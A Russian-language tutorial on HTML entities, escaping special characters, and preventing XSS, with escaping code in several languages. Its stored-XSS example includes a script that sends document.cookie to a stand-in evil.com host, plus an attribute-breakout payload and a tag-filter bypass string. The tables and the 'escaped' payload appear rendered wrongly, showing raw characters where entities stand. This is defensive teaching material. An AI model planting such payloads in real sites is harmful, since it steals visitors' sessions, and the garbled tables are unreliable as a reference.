HTML сущности и кодирование спецсимволов
HTML entities, named vs numeric, XSS защита, кодирование кавычек, амперсандов, угловых скобок.
Введение
HTML — язык разметки, в котором некоторые символы имеют особое значение. Угловые скобки< и > обозначают теги, амперсанд &запускает сущность, кавычки отделяют значения атрибутов. Если эти символы нужно показать как обычный текст, их приходится «экранировать» — заменять специальными последовательностями, которые называются HTML сущностями (entities). В этой статье разберёмся, как устроены HTML entities, какие бывают виды, при чём тут XSS и почему экранирование — основа безопасности любого веб-приложения.
Для практической работы используйте наши инструменты: HTML кодировщик и HTML декодер.
Что такое HTML сущности
HTML сущность — это последовательность символов, которая начинается с амперсанда (&), заканчивается точкой с запятой (;) и между ними содержит либо имя сущности, либо числовой код символа. Когда браузер встречает такую последовательность в тексте страницы, он заменяет её на соответствующий символ.
Например, чтобы вывести на странице текст «5 < 10», в HTML нужно написать:
<p>5 < 10 — это истина.</p>Если бы мы написали 5 < 10без экранирования, браузер попытался бы разобрать «< 10 — это истина.» как тег и получился бы мусор.
Виды HTML сущностей
Именованные сущности (named entities)
Самые известные сущности имеют человекочитаемые имена. Их удобно запоминать и использовать вручную. Вот основные:
| Символ | Имя сущности | Описание |
|---|---|---|
& | & | Амперсанд |
< | < | Меньше |
> | > | Больше |
" | " | Двойная кавычка |
' | ' | Одинарная кавычка |
| Неразрывный пробел | |
| © | © | Знак копирайта |
| ® | ® | Знак торговой марки |
| ™ | ™ | Знак торговой марки (TM) |
| € | € | Знак евро |
| — | — | Длинное тире |
| – | – | Короткое тире |
| « | « | Левая «ёлочка» |
| » | » | Правая «ёлочка» |
| „ | „ | Нижняя кавычка |
| “ | “ | Верхняя кавычка |
| ± | ± | Плюс-минус |
| ° | ° | Градус |
| → | → | Стрелка вправо |
Числовые сущности (numeric entities)
Любой символ Unicode можно представить числовой сущностью. Есть два формата:
- Десятичный:
&#NNN;, где NNN — десятичный код символа в Unicode. Например,©→ ©,—→ —. - Шестнадцатеричный:
&#xHHH;. Например,©→ ©,—→ —.
Числовые сущности универсальны: они позволяют вывести любой символ, даже если для него нет именованной сущности. Это особенно удобно для экзотических символов — эмодзи, иероглифов, математических знаков. Подробнее о Unicode читайте в нашей статье о кодировке UTF-8.
Зачем нужно экранирование
1. Корректное отображение спецсимволов
Чтобы показать на странице текст, содержащий угловые скобки или амперсанд, эти символы нужно экранировать. Иначе браузер неправильно их интерпретирует и разметка «поедет».
<!-- Хочу показать: используйте тег <div> -->
<p>используйте тег <div></p>2. Неразрывные пробелы и типографика
— это не обычный пробел, а неразрывный. Между словами, соединёнными таким пробелом, браузер не переносит строку. Это полезно для инициалов («И. И. Иванов»), чисел с единицами измерения («10 кг»), сокращений («и т. д.»).
3. Защита от XSS
Главная с точки зрения безопасности причина. XSS (Cross-Site Scripting) — это атака, при которой злоумышленник внедряет в страницу свой JavaScript код. Если вы выводите на страницу данные, введённые пользователем (комментарии, имена, поисковые запросы), и не экранируете их — атакующий может выполнить любой скрипт в браузере других пользователей.
XSS: как это работает
Представьте простой форум. Пользователь вводит сообщение, оно сохраняется в базе и показывается другим. Если не экранировать ввод, атакующий может отправить такое сообщение:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>Когда другой пользователь откроет страницу с этим сообщением, браузер выполнит скрипт, и куки-файлы жертвы будут отправлены на сервер злоумышленника. Это классический stored XSS.
Чтобы его предотвратить, нужно экранировать минимум четыре символа:
| Символ | Заменить на | Почему |
|---|---|---|
& | & | Чтобы не запустить сущность |
< | < | Чтобы не открыть тег |
> | > | Чтобы не закрыть тег |
" | " | Чтобы не выйти из атрибута |
' | ' | То же для одинарных кавычек |
/ | / | Защита от закрытия тега в некоторых контекстах |
После экранирования опасный скрипт превращается в безобидный текст:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>Браузер покажет его как обычный текст, и скрипт не выполнится. Подробнее о защите веб-приложений — в статье о лучших практиках безопасности.
Контекст экранирования
Правила экранирования зависят от того, где именно в HTML вставляется данные. Различают несколько контекстов:
Текст элемента
<p>Привет, {userName}!</p>Здесь нужно экранировать &, < и >.
Значение атрибута в двойных кавычках
<input value="{userInput}">Здесь критически важно закодировать двойную кавычку. Если её не экранировать, атакующий может закрыть атрибут и добавить свой: " onfocus="alert(1).
Значение атрибута в одинарных кавычках
Аналогично, но экранировать нужно одинарную кавычку.
Атрибут без кавычек
Крайне не рекомендуется. Любое значение с пробелом или спецсимволом сломает разметку.
Внутри <script> или <style>
Здесь правила совершенно другие. HTML entities не работают внутри JavaScript — нужно использовать JSON-кодирование и специальные приёмы. Например, последовательность</script> в любой позиции внутри скрипта закроет тег.
HTML экранирование в разных языках
JavaScript (browser)
function escapeHtml(str) {
const div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
escapeHtml('<script>alert(1)</script>');
// "<script>alert(1)</script>"JavaScript (Node.js)
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Или использовать готовую библиотеку:
// import escape from 'lodash.escape';Python (Jinja2)
{# Jinja2 автоматически экранирует в шаблонах #}
<p>{{ user_input }}</p>
{# Если нужно вывести HTML как есть: #}
<p>{{ user_input | safe }}</p>PHP
<?php
// Для текста в элементах:
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Для атрибутов:
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8');Типографика и HTML сущности
Помимо защиты от XSS, HTML entities полезны для правильной типографики. В русском языке принято использовать «ёлочки» вместо прямых кавычек, длинное тире (—) вместо дефиса в роли тире, неразрывный пробел перед «и т. д.». Все эти символы можно набрать непосредственно (если файл сохранён в UTF-8), но иногда удобнее использовать сущности.
| Что нужно | Символ | Сущность | Пример |
|---|---|---|---|
| Неразрывный пробел | | 10 кг | |
| Длинное тире | — | — | Привет—как дела? |
| Левая «ёлочка» | « | « | «Война и мир» |
| Правая «ёлочка» | » | » | |
| Мягкий перенос | | ­ | длинно­слово |
Распространённые ошибки
1. Двойное экранирование
Если пропустить уже экранированную строку через функцию экранирования ещё раз, амперсанды превратятся в &, и пользователь увидит на странице буквально «&lt;». Это частая проблема при использовании нескольких слоёв шаблонизаторов.
2. Использование strip_tags вместо экранирования
strip_tags удаляет теги, но не экранирует атрибуты. Атакующий может обойти фильтр хитрыми комбинациями вроде <scr<script>ipt>. Никогда не полагайтесь на чёрные списки тегов — экранируйте всё.
3. Забыли экранировать атрибут
Многие фреймворки автоматически экранируют текст, но не атрибуты. Если вы вставляете данные в data-* или value, обязательно проверьте, что экранирование применено.
4. Использование «волшебных кавычек»
Устаревшие настройки PHP вроде magic_quotes_gpc добавляли слэши к вводу, что ломало экранирование HTML. В современных версиях PHP этой настройки нет, но принцип актуален: всегда экранируйте данные в момент вывода, а не на этапе приёма.
HTML entities и SEO
Поисковые системы, включая Yandex, прекрасно понимают HTML entities — как именованные, так и числовые. Поэтому выбор формата — вопрос удобства, а не SEO. Однако есть нюанс: если вы используете кириллицу, её можно набирать непосредственно (в UTF-8), а можно представить числовыми сущностями. Первый вариант делает HTML легче и читабельнее, второй — наоборот, раздувает страницу и затрудняет отладку.
Сравните:
<!-- Читаемо, легко -->
<p>Привет, мир!</p>
<!-- Технически тоже верно, но нечитаемо -->
<p>Привет, мир!</p>Используйте числовые сущности только тогда, когда это действительно нужно — например, когда CMS или шаблонизатор некорректно обрабатывает UTF-8. В обычных условиях пишите символы напрямую, а экранируйте только пять опасных символов.
Заключение
HTML сущности — простой и надёжный способ корректно отображать спецсимволы и защищать веб-страницы от XSS-атак. Запомните главное: экранируйте &,<, >, " и ' всегда, когда выводите на страницу данные, которым не доверяете. Используйте встроенные функции своего фреймворка, не пишите свои велосипеды — это слишком важная часть безопасности, чтобы оставлять её на ручную обработку.
Для быстрого экранирования и обратного декодирования используйте наши инструменты: HTML кодировщик и HTML декодер. А если хотите понять, как HTML entities соотносятся с другими видами кодирования — загляните в наш сравнительный обзор.
Попробуйте эти инструменты
Похожие статьи
Base64 — что это и как работает
Принцип кодирования Base64, алфавит, padding, использование в Data URI, email, API. Примеры кодирования.
URL кодирование: percent-encoding explained
Что такое URL encoding, зарезервированные символы, как кодировать/декодировать URL, частые ошибки.
JWT токен: структура и как декодировать
JSON Web Token: header, payload, signature. Как работает аутентификация JWT, безопасность, декодирование.
Unicode и UTF-8: как работает кодировка
История Unicode, UTF-8 vs UTF-16, BOM, кодирование кириллицы, эмодзи, проблемы кодировок.